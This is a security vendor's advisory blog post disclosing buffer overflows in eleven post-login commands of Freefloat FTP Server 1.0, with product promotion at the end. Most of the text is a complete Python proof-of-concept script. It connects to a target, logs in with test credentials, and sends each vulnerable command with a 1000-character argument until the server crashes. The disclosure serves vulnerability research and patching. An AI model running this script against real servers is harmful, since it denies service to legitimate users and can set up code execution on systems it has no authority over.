Freefloat FTP Server POST Auth Multiple Commands Buffer Overflow Vulnerabilities

SecPod Research Team member (Veerendra G.G) has found multiple Buffer Overflow vulnerabilities in Freefloat FTP Server that mitigated using a vulnerability management tool. The flaws are caused due to input validation errors while processing DELE, MDTM, RETR, RMD, RNFR, RNTO, STOU, STOR, SIZE, APPE, STAT commands. The buffer is overflown by sending overly long command arguments, which exploited to execute arbitrary code or crash a vulnerable server denying service to legitimate users.

Patch management solution required here to patch these vulnerbilities.

POC : Download here.

More information on the flaws found here.

#!/usr/bin/python
##############################################################################
# Title     : Freefloat FTP Server Multiple Buffer Overflow Vulnerabilities
# Author    : Veerendra G.G from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.freefloat.com/sv/utilities-tools/utilities-tools.php
# Advisory  : https://www.secpod.com/blog/?p=310
#             http://secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py
#             http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt
# Version   : Freefloat FTP Server Version 1.0
# Date      : 21/07/2011
##############################################################################

import sys, socket

def exploit(HOST, PORT, CMD):
    try:
        tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp_sock.connect((HOST, PORT))
    except Exception, msg:
        print "[-] Not able to connect to : " , HOST
        sys.exit(0)

    res = tcp_sock.recv(1024)

    if "220 FreeFloat" not in res:
        print "[-] FreeFloat FTP Server Not Found..."
        tcp_sock.close()
        sys.exit(0)

    tcp_sock.send("USER test\r\n")
    tcp_sock.recv(1024)
    tcp_sock.send("PASS test\r\n")
    tcp_sock.recv(1024)

    tcp_sock.send(CMD + " "+ "A" * 1000 + "\r\n")
    tcp_sock.close()

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\t[-] Usage: python exploit.py target_ip"
        print "\t[-] Example : python exploit.py 127.0.0.1"
        print "\t[-] Exiting..."
        sys.exit(0)

    HOST = sys.argv[1]
    PORT = 21

    ## Vulnerable Commands
    CMDs = ["DELE", "MDTM", "RETR", "RMD", "RNFR",
            "RNTO", "STOU", "STOR", "SIZE", "APPE", "STAT"]

    for CMD in CMDs:
        print "[+] Connecting with server..."
        exploit(HOST, PORT, CMD)
        print "[+] Exploit Sent with %s command..." %(CMD)
        print "[+] Checking Server Crashed or not..."

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            s.close()
        except Exception, msg:
            print "[+] Server Crashed with %s Command" %(CMD)
            sys.exit(0)

These are the vulnerabilities in Freefloat FTP Server

Welcome any feedback or suggestion. Read more about SecPod’s SanerNow Vulnerability Management, Patch Management, and Endpoint Management.
Cheers!
SecPod Research Team